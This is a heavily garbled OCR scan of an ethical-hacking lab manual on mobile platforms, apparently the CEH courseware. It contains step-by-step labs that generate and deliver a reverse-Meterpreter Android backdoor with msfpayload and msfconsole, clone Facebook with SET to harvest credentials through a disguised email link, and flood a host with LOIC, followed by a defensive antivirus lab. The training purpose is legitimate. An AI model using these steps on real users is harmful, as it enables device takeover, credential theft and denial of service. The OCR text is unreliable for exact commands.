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| : o Platfar
Hacking Mobile Platforms

A mwbile device allons comrmrarication benveen woers on radio frequender. It can alwo
b used o pemd molttneecia cortent, evaail, and do mich mare uerg the Tterme
“icon xev — Lab Scenario
o Vidnals Mohile devices are replacing desktops and laptops, as they enmable nsers o
= access email, browse the Internet. navigate wia GF3, and store coneal data such
# Testyour as contact lists, passwords, calendars, and lopn credentisls. Also, the lamest
— bwowkdz developments in mobile commerce have enabled nsers to perform tansactions
= [0 e such as puzchazing poods and applcations over wireless netwozks, redeeming
- cooponsand tickets, banking, and more from thesr smartphones
L) Wadkbock mrie
— Most mohile demices come with optons to send and receive messages and
email, and download appleations vm the Internet Thongh these are
technoloscal advances, hackers continne to nse them for malicions purposes
such as sending smalformed “apks" (application packape file) or TURLs to
individnal: to eatice them to click or even memll them by which artackers
obmm nsers’ lopin credenmals, or partially or completely take control of their
devices.

Believing that mcfing the Intemet on mokhile demces is safe. many nzers fad 1o
enable their devices’ secnnty software. The popularty of smasphones and thes
moderately lax secnniry have made them amractive and more vainable tapets to
attackers.

As an ethical hacker, von omst perform vanons: tests for milnemhilines on the
dewices (mohile devices) connected 10 2 netwods.
Lab Objectives
The ohjective of ths lab &= to help smdents leam to detect nopatched secnrity
flaws 10 mobile devices, and nse them for pedforming penetration testing.
The objective of thas lab is to:

* E=zplodt the mlnemhiimes in an Android device

¥ Crack websites passwords

*  Tlze Android demice to perform a Dio3 attack on 3 machine

Perform Secnmty Assessment on an Android Device
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Lab Environment
To comyplete this lab, von wll nead:
" A computer monne Wndow Server 2012 a5 Host machine
*  Kal Iimn= maning m Virmal machine
* Windows 8.1 mnning m Virmal machine
Android enmlator maning in wiomal mackme (Victm
Aweb boovrses with Intesnet acoess

Admvmistratrs privileges to ma toaols

v of Mobile Devices

Mohde devices allow shanng files and messapes, making them easy for nzes ©
access from anrrhere isespectie of time 2nd location. The latest mohile demices
even enable shasing and editing dommoenrs on the po. All these featees have led w
the development of a new policy called “heng vons own demee™ (BYODY), by which
nsers brng their mobde demces to work and nse them for performing wods-related
tasks.
Lab Tasks
Recommended labs 1o demonsrmte webserver hackme:

" Creatmg Binary Payloads nung Fali Tine to Hack Android

*  Hamvesting Users’ Credentals Tang Secial Engineeting Tosolkit

*  Tlung Iohie Pladform to Enforce 2 DeS Attack on a Vienm Machine

' Seecuring Andreid Deviee from Malicious Appheanons

] Amsbrocic
Lab Analysis

Analrze and doenment the resnlrs relared to this b exercise. Promde vour oprmon
of yonr @epet’s secnoty posmze and ezposnee.
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Lab

Fah Limsize it a Debran-derived Lo distribstion ool designed for develoting and
execsiting explot code apaingt a remofe farger muchine.

.| 1 I " # .
IEOHN KEY Lab Scenano

Walmale With advancement m technology and implementation of BYOD policies, there
— e s a radical inerease in smartphone nsage in the wodkplace, Thongh companies
# Test youe offer strong network secunty, attackess/insiders attempt to hack ineo

Inowledze employees’ mohile phones to obmin sensitive mfoomation related o the

B W s company of the emploves.

As an ethieal haeker, Ton shonld be faouliar with all the explosts and payloads
available in Fab Linnx to perfoom vanons tests for minembilities on the devices
connected in 3 netwock

L) wWadbock mriew

1 L. il s ¥
Lab Objectives
The objective of this lab is to help smdents learn to detect Troojan and backdoar
antacks.
The objectires of dus lab melnde:
® Creanng a server and testing demces located in a petwork, winch are
prone to attacks
Amtacking 2 demice nung 2 sample backdoor and monmor the system
actviILy

Lab Environment

Too comyplete this lab, you vall need:
* A computer monme Window Server 2012

*  FKal Lism= maning i Virmal machine

*  Android emmlator maning 0 vismal machine (Vactio)
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* A web browser with Internet ac:

v Administratire prvileses to ma toals

common nse
euoentty in the Measplor Framenmn u_h o for r--.qtu:u.: :iﬂ:tﬂ-'&ur types
options befors fnzlixing 2 modnle.

Loz In to your Kali Linux mrmal machine
_ B vasx ¢ 9 (L other.

Lagon ta
Kali Linune

FIGLRE L1 Laygeing in g0 Eak-Linuz
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3. Type reot m the Usemame text fisld, and click Log In

FIGLTRE 12 Lisgrenr v di Fosb-Liriuz

4. Type teer m the Passwerd text fisld, and click Log In.

FIGLRE 1% Lagggieg in #0 Bab-Limuz
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Before beginmng ths Iab, log into the Kali Linwe virtual machine, click
Places & Computer. INarvipate to File System 3 ete & apache2, open
apache2.eonf, eater the comouad servemame lesalhest in 1 oew line
and save the file. If yon aleeady added the command, skip to the next
step.

6. Open temnal console by nangating to Aecesseries - Terminal.

Mote: Ton can either :::li::]z@ {Terminal con) i the menn bar to lanoch

|54

7. Type the command serviee pestgresql start and pres: Enter.

waefl sernce

the comumand serviee metaspleit start and press Enter.

FIFLRE 1 6: Sty snetepibont service

Ethical Hack i CrmEaEun T v EE-Goanel

nO-TeaM !
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Follow Step ne. & to lannch 2 pew tenmsnal
ommand msfpaylead -1 in terminal and peess Enter.

“FENTE

Create a
Bachdoor 11. A Bst of available payloads are displayed.
Application
Package File
(k)
roatihkai =
ramewn
LT Descriptlon
slkspposenel L _bine a ] "\'_'q:' -L.\'.:FI'.:..:'I:-': ard|

Spawti & L
Cimply axecwva

T: Searchegr e andnoid pavhos]

et the local haost by Typing msfpayload
androidimeterpreterireverse tep lhost=10.0.0.13 0 m the terminal
and pres: Enter.

thae annbrviial pranlivasl
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penerate 3 feverse meterpeeter applicanon, type the command
msfpaylead andreid meterpreterireverse_tep lhest=10.0.0.13 O R =
froatDeshtop/Backdoor.aphk in terminal and press Enter.

creates Bachdeor.apk application package file on the

u TASK & e th tion machine Gn this

lab, we ae nuine Andreid enmlator as the wectm machine!.
Share '- .

Bachdoor.apk file 17. Open a oew command bne tecminal, type the command mikdir

Enter to create a pew directory named

share” i3 alseady created, to step 18

FoongRy -

FIGLURE 1Mk Coe

Change mode for the share foldes
ehmed -R 755 fvariwwwishare! and p

FIGLRE 111 Changeogr the maxle
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ership of that folder into www-data, by typing chown -
R warw-datazwww-data varwwwishare/ and pres ..IJJ._-__J; Enter.

FIGURE 112 O
. Type Is -la variwwwi | grep share and pres: Enter.

roobifikasli =

chmad -
Chowry =R
X 1

& W eOATE e AT ¢

W T i/

FIGURE 113

21. The next step is to swat the apache
serviee apachel start m the terminal and pre

var A sharad
R veww-dat @ swww-data A
VE M Wl | Qe

ow the apache web server is maoming, copy Backdeorapk file into
share folder

Type the command ep roctDesktop/Backdoor.apk var'wwwishare!

Backdoor.apk Svarfwew/shara)

share ke
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24. Lannch msfesnsale.

To lanoch msfeonsole, type msfeonsele and press Enter.

root@ikali; =

0 Msfeopsdle i an all-
m-one ey oo pt
af the frornres =
measplnit Misfronsole
ean be osed fo ook

FIGITRE 1.14: Laurne

use expleitmultihandler and pres: Enter to handle explods
ed ourside the framework

194 past
8 neps
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15sne the followine commands in msfeonsole:

T:FFIE- set paylead andreidmeterpreterireverse tep and press
Enter.

Trpe set LHOST 10.0.0.13 and press Enter.

Type show eptions and press Enter. This command lets yon know
the Listenung port.

root@iall; =

28. Type expleit -j z and press Enter. This mns the explodt as a
wob.

rurning- as Eack
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29. Lannch the Android Eomlator Virmal Machine from Hyper-V.

30. Androsd Emmlator (versiond 4) GUI appears, click menu icon to lanach
Android menm

FIGLURE 120 Andresd Ereubitie (versond T} Hovne soein

31. Androsd menn appears on the screen, click Brewser icon.

D18

-
-

]
F
B
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32, Type ear images and press Enter in the search field

B s st

L5 C = & Mipriwwwgeegle co miwebhpclienttsbletandnid suerevdaous 1 Oy H
iy

e downlomd

1.22 weancheyy For gt

i3. Goegle images webpape appears, displaving the ear images. Click on
an image to view it in full screen

e G e

= W & niipeswes geagle co mpwebhoiclient={shletandrois-ssup-revbaoures 1)

cal ImageEs
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34. The image appears in a webpage, click and hold the image.

B b, - Bl s

& C ® @ nnpsiews googie.coin weshe R erasiasie- ansrnid-a pus-revASuRES: T

FIGURE 124 Viewing the wrgm

35. A pop-up appears asking you to choose an option. Select Save image.

Save image

Wi i

580 ms wallpape
Share fink

Balect ey

FICGLRE. 125: Saving the irrag
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36. The saved image 15 stored m Dewnlead diectory in File Manager.

37. Click the # button to open a new tab.

T g oy S

L 5 O W @ Mipeiwsw geagie oo iniwebhoiclien g t-andio B-osun ravBspUTE 1

The meaning af the drea

38. Type the URL http10.0.0.13/share m the search box and poess
Enter.

L
i AP Ra0 1ashee

SR AR Tk T

vthe sharmg pige
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3%. Index of /share window appears, click Backdeor.apk. This downloads
the application par file.

irsan ! abay
© W heg100013ishwe)
Index of /share
T ot s " o Gt

FIGLRE 1.28: Disrhiad Bacldewse i

ipe down the Matification and Status Bar and click Backdesr.apk

FIGURE 129 Dhawrilod] Brackdouse e
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4]1. MainAetivity window appears, click Install

M MarActsity

[0 you want 10 iestall this appboanor? & wil gt aocess tn

M M arAsCTsity

 ApE infEled
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43. Svarch back to the Fali Linnx machine. Materpreter session has been
fully opened as shown in the following screenshot:

FIGETRE 152 Migrrporter sissace buncied

. Type sessiens —i 1 command and press Enter. (1 m ions —i 1
command 15 the nmmber of the session}. Metermpreter shell iz lannched
as shown in the following 3

Lo P B BETL B 20014-L1-28 AT

FIGURE 133
command and pn : this command displays
the tarper machine, s MOIpUHEL NAMe, operanng

FIGLRE 134 Collectny spsem micembon
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46. Type ipeonfig and press Enter to display the wictim machine’s network
interfaces, TP addres: v vi3), MAC address, and w0 on

l

remote (target) machine.

FIGURE 1.3
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49. The ed commanid chances the cucrent remote directory.

Jow type powd and press Enter.

o will ohserve that the cumrent remote dicec
sdeard 1e [storage/emulatediegacy.

rostfirost ©

e hanng thr present wideing by (e

type midir “directory name” and
ess Enter. In this lab, th sated is : the command
ed 15 mbdir test

FIGLURE 140 Creating 3 dhoeciony
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Enter to Lst all £
2 that the new

FIGURE 141 Lut 2l the Sk in the jad

o upload a file to the test directory, you need to change the corrent

cated in the reet directory (Heme
ra hle. you need to pl.:ne 2 file in

.apk JSroaot/

wr file b e Beliler

CEH Lak Masuasl Fi % i g and Cosnicrmeasane
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watch back to the meterpreter shell, type ed isdearditest and press
hange the cnorent ramote disectory to sdeard,test.

kalr =

ItEIErELEC > s

staraps/anul ated Tegacy

4

reatifilall; «

Termmal  Halp
it » id Ba .
*| upleading : Backdoor.spk -= Backdoor.apk
[*] uploaded : Backdoor.egpk -= Backdoor.apk
meterprater =
FIGLIRE 144 Uipicndng bischdens file
The file iz mnecessfully nploaded to the target machine’s test folder.
0. To see if it 15 successinlly nploaded, type Is and press Enter. Ohserve
that the file iz now located in the test foldes.

roct@kals =

FIGLURE 145 L=t al
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e all the fil cated in Downlead directory, you need to change
the directory by izsning the command ed isdeardDawnload.

ract{@kale = !

isting ae/ tads 1 egacy /test

nelarpratar =

Type Last nodifiad Nane
2014-33-13 13:67:53 #3536 Backadsar. sk

47 dow il oad

sl herarilcd
e Is and press Enter to mew the files located i Dewnload dwectory.

reot@ireat: =

MRINMIELer =

isting: /staragesern

L L T T

FIGUTRE L.47: List all the El

pe download “filename.extension” and pres: Enter to download a

file fi i wectory. In thiz lab, imagesjpeg has been
oL sned i: download images.jpey.

|

L maglrien

11-26 07
3-11-2E 0
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64. The downloaded file 15 stored in the Home Felder by defanlt Click
Plazes and click Hame Falder.
w meces [ EH Thal Mtar 13, 122 8 P

B Hore Foidar

' FI'-.:::R.F .| 49 Mavygatig % the Hire filder
63. The downloaded file 15 available mn the home folder as shown in the
following sereenshot
¥

FICATRE 1.50 Dyreridoadiel Bl Fom S0 can

. Thms, doe to poor secuaty semings and lack of awmmeness, if an
mdvricheal i an orpanizaton mstalls 2 backdoos file 1 his/her device,
an attacker gets control on the dewice and performs malicons actrmes
such a3 uploading wosms, downloadmng sensible damra, spyinp on the wser
keystrokes, and so on, which can reveal sensble mformation related to
the orpanization as well as the wctim.

.
LA A 1IAY'S

Analyze and docnment the sesnlts related to this lab exercise. Prowide your opimon
of your target’s secunty postige and exposnge.

]

[0 Yes
Platform Supported
= C]assruoﬁ:t il abs
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Lab

The Socal Engtneering Toolkr (SET) dr an oben-sourse Python-drven fool atwed
At pensrration s around social engineering

Lab Scenano

Socizl enpnsenng 15 30 ever-growing threat 1o ocgamizations all over the wodd.
Socizl enpnesring attacks are nsed 1o compronyie companies every day. Even
thongh there are many hacking tools avalable with nndergronnd hackmg
commmmnties, 1 social engineenng toolkit i3 2 boon for attackers, as it is frealy
available to nse 1o pedform spear-phushing antacks, website antacks, and =0 on
Artackers can deaft email messages znd artach mabeions files and send them to
2 large onmber of people nung the spear-phishing atmack method. Also, the
mmlti-attack method allows nolizanon of the Java applet, Memsplonr browser,
Credennia]l Harvester ¢ Tabnabhbing, and othess all at once.

Thongh mmerons soms of attacks can be performed naing this toolkit, this is
also 3 mmst-have tool for 3 penetmation tester to check for milnembiines. SET i=
the standard for social-engmeenny penetration tests and i3 smpported heawmly
within the seenary conmmanity.
As an Informanon Semory Anditor, penetranon tester, of ecTALy
admmnistrator, you should be exemely famuliar with the Somal-Engnesong
Toolkir to pesform vanons rests for minesabdlities on the netwrads:
Lab Obiacth
Lal sjects
The objective of this Iab is to help smdents leam o

*  (Clone a webste

* Obmm nser names and passwosds nang the Credennal Harvester
method

View reports for the stored passwornds
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ilete this lab, yom wll nead:
A computer mnning Wendo rer 2012
Kali Linnx maning m Virmal machine
Androed emmlator menning in wirtal machine (Victm)

browser with Internet access

15 specifically desipned to pedfoom
apains oz & The attacks budt into the toolkit ame

dezpned to be ta:éeted and foomsed am INE 3 PErson Of oLpaniTation nsed
dusing a penetration test

N-ETITTER

Lawmch Secial

Enginearing
Toalkit
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l. Log In to the Kali Linux wirmal machine

Before rmunming this lab, start the apache sever Issne the command
sewice apachel start in mmand-line terminal to start the apache
server. If already started, slap

nd Cosnicrmrasa
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Go to Applications < kali Linux - Expleitation Tesls & Social
Engineering Teolkit # se-tealkit

IS

FIGURE 22 Launchmg SET = Kb Linu
Note: While lamn se-toolkit, you may be asked whether to enshble

4. If a Terminal w
to the term:

whateumr you want with L1 &s 1
T wWrlTlrg L

tha cradlt thay Sesarea To

Fi -.u:x;.:I::.-hlIH- 3 Pl and huy hinm & by

the bam

FIILURE 2% 5ET Sermce Ag

Eikical Hackimg and Cosmiermeasunes

HaCkRhInO-TeaM ! YOUR SeCuiTy iS NOt EnOUgh
WwE FrEE t0 FIY

CEH Lak Masmal Fage 1358




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM ! Moduie/t - Hia il Mibbie| Platioms HaCkRhInO-TeaM !

5 You will be presented with 3 menn contaming a list of attacks. Type 1
and pres: Enter ot the Secial-Engineering Attacks opuon

The Soecial-Engineer Toolkit is a product of TrustedSec.

WESLIT: humps: flwesd trnistedss, CoW

Bl Termina
FICHLIRE 2 4: Selecsing the Socsl-Faggne

A list of Socal Enginesnng Attacks appear; type 2 and press Enter to
salect Website Attack Vestors

L5 Sectal Engineering Art s menu

of webaite attack vectors, mype 3 and press Enter to select

E 1& webfe Ak Vason e
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type 2 and press Enter to select the Site Clener option from the
H tamx 2 :

Clane a website

Li:lTllr Fate Tl
b

Our own website, note that

uslng Fa 1ncort salmllc

FIGLRE 27: el 7 ASHCE. s

Type the IP address of Kali Linux mirmal machine in the pro
address feor the POST back in HarvesterTabnabbing and press Enter.
In this example, the TP 1= 10.0.0.13

Mote: IP address may vary in your lab environment.
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, you will be prompted for 2 TIRL ¢ ned, type the desired
URL for Enter the url te elone field and Enter. In this example,
we have nsed waww.facebeok.com. This will begin to clone the we

1 1% Provalng LR

I:‘J:I:IJ.P]F'FF'd. 'Lhe L:E}JLghtEd me
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12, This initiates the Credential Harvester in SET

13. Leave the Credeatial Harvester Attack to fetch information from the
Tictim’s machine

14. Moo, vou need to send the IP address of Fali Lionx machine to a
mctm (throngh mails, social nerworks, ete.) and tock him /her to elick
the IP address embedded in a link to brewse the IP address

15. For this demo, lanach the web browser in Kali Linwe machine; log in to
an emal service and compose an email In this example, we have nsed
wenaLgmail.eom

16. Place the cursor in the body of the email where you wish to place the
fake URL and hover the monse on + sign.

o

ER T &

L;:I Whes yeas hareer ey » e o
e bk, the LTRI will T
peesrmied wei the el

veeifig set ey Sy

FIGLURE Z11: SET Crulentsd Harnsber Aftac serabing in el 6 Vicks
1

17. Then, click the Link (=2 icon
MNote: Ton can nse GiH+K 1o affix 3 hyperink

DN kot ot e et

et i the [P

bk 1" it doscitheer iy o

¥ ": i Insertlink |Cor-K)
meriepd the coedenialy e
Ll @ U & @w]| @ o

FIGLRE 212 Tefemg Fake LRI &5 Achial LTRIL
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15. In the Edit Link window, first type the acmal address in the Web
address feld nnder the Link te option and then type the fake TRL mn
the Text te display field In this example the web address we have
meed i hitp10.0.0.13 and text to display  is
www.facebooh.com/celebrity_pics_downlead. Chck OK

Edit Link

Toorl 10 W50y . et Macehicak comvceliby pics dpanisa

L:I:I The Crelenizl -
Harvewrer Mrte] unll Link 1o Te wnal UFL shou i s b go?
utdtee weby demang aifa ¥ 3

Winh address L0015

wehishe that hax @ nssomame
sl it £ wd
hanest all the miverahon
[zt b the wrlsaite. 0T e w18 Pl e Bor T Fes, nd e pa0e O [T et T you W D kDo ik
Ty, CODy W8 el Ak rens Wore Wes D i e INDasey

FEGLRE 295 Bt Lk wibires
18. The fake URL should appear in the email body
20. To wew that the acmal URL embedded m the fake TTRL, click the fake

UBL (ie, wow facebock com/celebrity pics dovwnload). Send the
emiail to the intended nser.

Larest celebnky pics

Hella Rini.

Ty an Hera is a Facaboak link cantaining tha latest calabiily pics, Plaasa
i st click|yptasahopk Comvcelebriy plgs downloadlta download them dirscty te your

PEL TR : o ek
reman arel Iy |:-..'u link R 10 0 3 - Changg - Ramcg |
i 551 et fhat ks the

wttack mons bekevalde Vou

= e 551 ol

aftacks wth SET. Vi wil

e 1=

WEBATT ACK_S551.b0

[ L [ p—

s sgmnl e po
wedl Brrwewer them
an “untrmied ™

wien 5 mictas e

s wrrlate

=+

FIGURE 2 1& Asctenl UTRL hekea! o Pake UTRL
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21. When the mctim (you) clicks the URL, he or she will be presented with
a replica of Facebook.com

Mote: IP address of the target machine is displayed in the address field

instead of wow Geebook com

= T . Swntch to andooid machine (25 2 victim), log into your email acconat,
open the mml and click the makicions link
Leg in to the

Clencd Website . As soon as the wictim clicks the ink he/she will be redirected to a
cloned webpage of Facebook

. When the victim enters the Username and Password and clhicks Log In,
it does not allow logming in; instead, it redirects to the legitimate
Facebook login page. Observe the URL in the browser

Note: If any Confirm pop-up appears, click Never.

yporuer aiick pnskle i
vl b sty P attack

it When you'ne Factboos Lugn
Fariind b mav tir ardins

the T finisbect iptizen

k
-

Lir:I The: mulh-atack Facebook Login
w W
o chienes vachim
e el sl o Pheia I dgmaitom
i wrhjmaps -
¥ £
bnk he wsdl be Gopetal by
ech OF st attick. wesbom
yens spesy. Chne thi

an't uitibs

ey, wred Emarerier,
jackcegr with B oo
rahlle attach
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W v e Py e

i C # & naps m fecess camfiogin.php

FIGURE 215 Fiks and Lajpts
As soon the wictim types m the emai ad

Linux fetches the entered nser name and pa h can be nsed

by an attack gain maanthorized access tim's acconat. Lhe
sedentials are stored in the location File Systenms ) varwwn

ick Places—3 Computer.

(ML LORIWET

FIGLUEE 2 L Kb Lense Macksse Dieikhiyr
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27. Navigate to File System /variwww, and doobleclick the harvester file
to Tiew the feport.

Dewices

FIGLREE Z17: Reports comsanmeyy the svenl reeli
25. The log file appears as shown m the following scmenshot:
harvestar_2014-11-28 092824 021662 bt + {fvanivww] - VM

Edit Taools Syntaxd Buffars Windew Help

"':';' = o 8 &

BT

|.._;.‘._--| ar_ads] =

- ERSERI --

FIGURE 218 Social Enginring Teailtit (FET) Report
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29. Thns, withonr proper assessment of an emmil or the website thar is
bemg browsed, if an mdividnal enrers his her credentials, an attacker
harvests them and nses them to log mto the Tictin’'s accomat and obtain
sensitve informanon.

Lab Analysis

Analyze and docnment the resnlts relared 1o this [ab exercise. Promde your oprmon
of vonr tarper’s secnoty posze and exposne.

[1¥es

Platform Supported

1 Classroom
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Lab

Low Orbit Ion Cannon (LOIC) 5 an gben-sonrce netvork siress-terting and demial-
gfeervice aftack appleation on a topet site/ machine by floodrng &t b TCP or
UDP packety nazh the tntention of disrufaing the service of a partiowlar bast

L Il P =
ICON KEY Lab s>Cenano

¢ Valahile LOIC pecforms a denial-of-service (Do3) attack {or when ned by amlsple
=== mdividnals, 2 DD0S arack) on 2 tarpet site by flooding the server with TCP or

# Testyour UDP packers wiath the mtenton of dizmptng the service of a parmenlar host.

— lowkdx  People have nsed LOIC to join volnntary bomets.

W Wb ezercne As an information secnaty anditor, penetration tester, or secrrity admimstratos,

L wakbock mriee FOU shonld be extromely familiar with denial-of-sermice attacks.

I . e
ab Objecti

The chjectve of this lab iz 1o help smdents learn to nze LOIC mohdle
applicancn and perform denial of service attack on a tarpet machine.

I sl Frvwivoanrmart
LAaD CMvironiment

Too comyplete this lab, yon vl need:
* A computer moning Window Server 2012
¥ Androsd epmlator moning in virmal machine
* Windows 6.1 moning as a vicmal machine
» A web browser with Internee acoess
*  Admmistratre privileges to mo toals

| b T
LaiL

Juration

Teme: 10 Aimmes
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Overview of Lah

orer, install it and bmench a denzl of sermce .1.Er_ on the target moc (Le,
Windows B8.1). Later you will eros the amack being performed oo the
machine by monine Wireshark and viewing the Task Manager

Lab Tas

Before bepmming this lab, enmse that Wireshark application is mstalled
on the Windews 8.1 vurmal machine.

2. Lanach Android vermal machine from Hyper-W Manaper.

.:J TARK 1
Install LOIC

Click ES File Explorer icon on the home scmen to lmnch the
application.

FRAGLRE 3.1
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ES File Explerer window appears, ezpand the Netwerk drop-down st
click LAN, and then click the Hew icon.

T
| Emen W

vt Werge

Server pop-up appears, enter the IP Address of Windews Server 2012
the Server field enter the machine’s credenmals in the Username aod
Passwerd fields, and click OK.

E 3% Addegra Server
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. On mecessinl connection, a Computer icon appear 2 the icom.

FIGLURE 34 Viewig the Contrem

7. Select CEW-Tools & CEHvE Meodule 09 Denial of Service - DoS and
DDe% Attack Teels - LOIC aph.

6. Clck leie.apk file to install the application.
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9. The Properties pop-up appears; ¢

FIGUTRE L Trostalbeg TOEC

10. The LOIC installation wizard appears; click Install.

FIGURE 37 Instalbuyg
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= e — 11. On completing the installation, click Open.

Perferm DeS
Attack on the
Target Machine

FIGIURE 1R Laswbeng TORHT

12. The Terms of Use dialog-box appears; click Ascept.

Temns of Use
LEAE i i sl Tor natmesdh @inees e ating. The dewlopas

A5 LTS M2 respord Sl Tor uninlesded use of tis ol
DA Romapore ioly

T .

FIGURE 1% Laswheng TOH

window appears. Here, yon need to set a target (2 website or
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14. In this lab, we hall be performing denial of service attack on Windows
8.1 machme
. 50, let us lock the machine’s TP address. Enter the IP Address of
Windews 8.1 machine m the IP fisld and click Lock On.

1, Select wour target

NONE

2. Sebngs

3, Aeady?

FIGLRE 310 Leching 3 Madene

. Once the machine 15 locked its TP address 15 displayed nndes
Taspat.

17. Leaving the Settings set to defanlt; click FIRE.

1, Select wour tanget

e B, Lt

10.0.0.10

2. Setbrgs

3. Ready?
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15. By leaving the semtings to default, you ae nsing the TCP method and
flooding the machine on pert 80, with threads

of TCP Hits and Packets/second.

swanicd Tamg

10.0.0.10

Z Settings

3. Rgandy?

TCP Hits: 529

The Warkd's Most Popslar Network Protaco| Anslyzes
RE  virmon 1005 59 ey 5426 baen fmatic 1101

& Irr':-:.r!‘-.l-.'-: Ll:-'. 4 Opes i - 't'l:-.:hsl.r.r
¢ Unar's Guide
ki . haliabd

ar the: sveachime g Securty

@ Sample Capures
f& Capture Dptions

:

Hok e Captire
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23, Wireshark displays the traffic traversing betueen the Android and
Windows B.1 machines, as shown m the screenshot:

B S —

caphuee winzh e cispslag
the e canl:

which the packit =
trvengy, and o on

FEGLRE 194 Wirssbork Drspliyragy Teabhie
. Launch the Task Manager window to view the pedformance of the
machine.

. In the task manager window, click Performance @b, and then click
CPU from the left pane to mew the CPU ntilzation

. You will obeerve that the CPU nalizarion i very hiph which means the
most of the machine resources are being consumed dne to flooding,
mferrng that a Do3 attack is pedformed on this machine.

AT . |

002044

FIGURE 315 Anslyxrg the Machee Fefommne:
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26. In the same way, you may observe the other smbisnes (memory,
ethernet, ete.) as well

27. Now, stop the Wireshark capmse and close the Task Manages.
Capheng o Elhenet ] 'iiessarm 105 50 Wy SUBE o miue- 1. L0 =l “

FIGURE 3.16: Stepring Packet Carbas
23, Svarch to the Android machine and stop the flondmg.

2% Thons, you have snccessfully performed DoS attack from a mohde
dewice onto a vulnerable arget machine.

Lab Analysis

Analyze and docnment the results related to this ab exercise. Provde yonr opemon
of your zrpet’s securty posme and exposne

O Yes

. Platform Supported
B Classroom
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Lab

vices from

U w,é.r r*m-"'b.ﬂ-ufm::i m.i"'.-ﬂ.-'éw. ‘mw rﬂﬁ'-’.‘-‘ﬂ.b_.’ﬂb. You o Raaw Your Gbbs on
demand or at the inmorval of yosr choice

e g
ICGN KEY Lab Scenario

¢ Valahile Android's growing popnlacty has led to increased secnsity threats, mapng from
=== common malware to advanced phishing and ID theft techniques. To help
# Testyour Android nsers to deal with these rssnes, many seenrity softoare companies have
— bowkdr  lannched their own secnoity apps, but papng neady 30 dollars 2 pear for a
= [ complete mobile secunty app doewn't souad Like a pood deal especially when
BT [ I:LEIE"- a wnde choice of free secnnty apps that will cover all yonr needs

L warbock eriex including 3 pronp of complete secnary mites with ann-theft capa shiliries.

The penetration tester will scan for any nnsecnse settings vonr demce may have
and will admize you accordingly. The Prvacy Admsor, on the other hand, scans
and hsts all the msmalled apps and cateponzes them wnder theee catepoes: apps
that may canse costs, apps that may harm yone prvacy and apps that may access
the Intemet Vor can sort the ﬁm:-mu.ec to yonr own needs nang the seons at
the bottom. The Spam Protection is a very mmple vet effectre call and SIS
filter, and the recently added App Protection wall lock any app you want with an
dlphammeric password.

b+ ('} -l_ﬁ“..:\_:::hﬂ.-@_:—;

LAk
The objective of thas Iab 13 to belp smdents learn oo

* How to scan for malicions applications and files on Android mohde
dewices

Howr to nninzrall malicions appleations
How to delets the malicions files

How to secnse yonur mobile demice from nnkacwn soncces apps
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Too comgplete this lah, yon vl nead:
* A computer maning Wendow Server 2012
" Androsd enmlator manning in vinmal machine
A web browser wath Internet acoess

Admmvstratire pomileses to.ma tools

fram
TETpECch
speczil ¢
Four per

ch Andreid Eomlator in Hyper-V Manaper, and cick Play Stere

H rask 1 _
v the Home Screen.

Launch
Play Store 2 Make snee that goegle account has added it in the Flay Store; of not,
create 1 new one and add the acconot

FIGLURE 4.1- Andeed Erulaber Linmiching Phiv S
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In the Play Store bar, type Sephes Mebile Security and press Enter to
display the search results for Sophos applications, as shown m the
sereershot

LY Lt oot . Click SOPHOS Free Antivirus and Seewrity app to mew application
mformation.

ammanls foe Wipe,

Lk, Mberms (Femaen)

Laase, Mrsige #0 Bcles,
Reaet passcaxle

cand i changmel

PICARE 4.2 S SOMTHOE i Play S
5. Click INSTALL to st mstallanon of SOPHOS Free Antroyms and
Secnuty.
“ENTE i
6. You canalso read forther by serolling down

Install Sephes
Mehile Security

I:;:I Wil Posfrcien

Bl acreni b srcdwas
o phusdeng welusies
Bk e o

cappre b

s 2900

FIGLURE &3 Trentalliogy SOPEOS Free Antivesu and Sacnty

CEH Lab Maaual Pagr 1376 Eiical Hacking and Cosmiermeasarss Copyrigh © 1y £0-Sammell
HaCkRhInO-TeaM ! YOUR SeCuiTy iS NOt EnOUgh - “"HatKRAMD-TeaM !
WE FrEE t0 FIY




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM ! Moduie/t - Hia il Mibbie| Platioms HaCkRhInO-TeaM !

7. Sophos Free Antimyms and Secnsty needs to access mformation. When
the pop-up appears, click AGCEPT.

I:;'_I A Peitectem

Imserrria mocunty by

st Fir emaspie b eoaee
sehey essential can
tenpen

el

FIGLRE 4.4 SOPES Nonfgtion
8. Sophos Free Antivirns and Secuoty will stant downloading, as showa in
the sereenshot.
B 150 o
Peerchon

Porcts yoner devace feom
attachs vo

Regiatir 5

every dalial mimbes

Free Antivirus and Sacurity

SOPHOS 0 BQOO

(R

Lisers glso inslalied

e
FIGLUTRE 4.5 SOPHOS Dby magpuined Fies

Ethical Hacking and Cosntermeasares Copyright © by Ei-Gomell

CEH Lak Masusl Page 1377 b SAChmommalaig CrTNME be Bh el
HaCkRhInO-TeaM ! YOuR SeCuiTy iS NOt En0Ugh " HaCkRAMD-TeaM !

wE FrEE t0 FIY




YOuR SeCuiTy iS NOt EnOUgh
HaCkRhInO-TeaM ! Moduie/t - Hia il Mibbie| Platioms HaCkRhInO-TeaM !

9. Once the application is installed, click OPEN to lannch it.
B rasx 3

Lawmch Sephos
Mehile Security

Free Antivirus and Sacurlty

e
gl 22060

P
Users also inslalled | GFE MOEE

Eash Samgu

L]

Py vk TV
=
Bty
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11. EULA Sophos Mohile Secnaty hicense agreement wall appear. Check
Allow sending ansnymeus usage information, if necessary, and click
Aeeept.

3¢ RPN

Acchsss wiai am b 1
SRS PO ATy

FIGLTRE 4& ELTA Sopbes Mobsle Seoundy Agreement

12. Sophos Mohile Securty main window appears, as shown in the
sereenshots with their respective selected opticns.

O Seanine l! Peivaay Advisar

iil.-l i ﬂ Sac ity Advisar

.Id Spam Profecis

FIGITRE 4% S5CPHDS Mol Secunty Mam Screen
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13. Click Seanner to strt the scan for malicions applications on yous
_ W vasm s Android device

Perform Malware
Sear [E) sophas Mobile Security i

l! Pevaay ddwisar

pam Frofecto

Wiel Filbenng
.E‘j "

L

FIGLRE 4.0k Sophas Mikile Secunty Maloaes Sourmnes

14. The Sophos Mobide Secnmry Scaoner window appears; it 15 dmded into

fonr sections.

153, Click Start, noder Malware Seanner, to stact the scan

4 Scaneer

L:I Phone Spam Filke
Pk wmrwranial calla,
defnal by phone numbes

FIGLTEE 4 11 Sophae Seartmyg Mahsies Sein
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16. Once the scan starts, you can see its stams oader Afalware scanner.

Esckrw fundroamd 4.4

